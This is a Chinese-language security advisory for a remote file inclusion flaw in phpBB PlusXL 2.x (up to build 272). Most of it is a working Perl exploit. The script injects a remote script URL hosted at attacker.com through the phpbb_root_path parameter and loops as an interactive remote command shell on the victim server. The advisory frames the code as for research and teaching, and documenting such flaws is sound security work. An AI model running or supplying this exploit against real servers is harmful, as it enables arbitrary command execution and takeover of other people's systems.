发布日期：2006-10-13
更新日期：2006-10-16

受影响系统：

H.Kicken phpBB PlusXL 2.x <= build 272

描述：

---

BUGTRAQ  ID: 20315

phpBB PlusXL是一个增强版本的phpBB论坛。

phpBB PlusXL处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意指令。

phpBB PlusXL的脚本没有对phpbb_root_path参数数据做充分的检查过滤，远程攻击者可以使脚本包含远程服务器上的PHP代码执行。

<*来源：Ashiyane Corporation （nima@ashiyane.ir）
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl

###################################################################################### \
############### #                                                                     \
# # phpBB PlusXL 2.X biuld 272                                                        \
# #                                                                                   \
# # Class:  Remote File Include Vulnerability                                         \
# #                                                                                   \
# # Patch:  unavailable                                                               \
# #                                                                                   \
# # Date:   2006/10/12                                                                \
# #                                                                                   \
# # Remote: Yes                                                                       \
# #                                                                                   \
# # Type:   high                                                                      \
# #                                                                                   \
# # Site:   http://www.xs4all.nl/~hkicken/plusxl.htm                                  \
# #                                                                                   \
# #################################################################################### \
#################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt";   # <====== Change This Line With Your \
Personal Script

print "\n";
print "##########################################################################\n";
print "#                                                                        #\n";
print "# phpBB PlusXL 2.x <= biuld 272    Remote File Include Vulnerability     #\n";
print "# Bug found By : Ashiyane Corporation                                    #\n";
print "# Email: nima salehi    nima[at]ashiyane.ir                              #\n";
print "# Web Site : www.Ashiyane.ir                                             #\n";
print "#                                                                        #\n";
print "##########################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Ashiyane.pl [host] [path] ";
    print "\n EX : Ashiyane.pl www.victim.com /plusxl20/  \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$vul="mods/iai/includes/constants.php?phpbb_root_path="

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print "<Shell> ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") \
or die "Could not connect to host.\n\n";

    print $socket "GET ".$path.$vul.$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "<Shell> ";
    $cmd = <STDIN>;
}

建议：

---

厂商补丁：

H.Kicken
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.xs4all.nl/~hkicken/plusxl.htm

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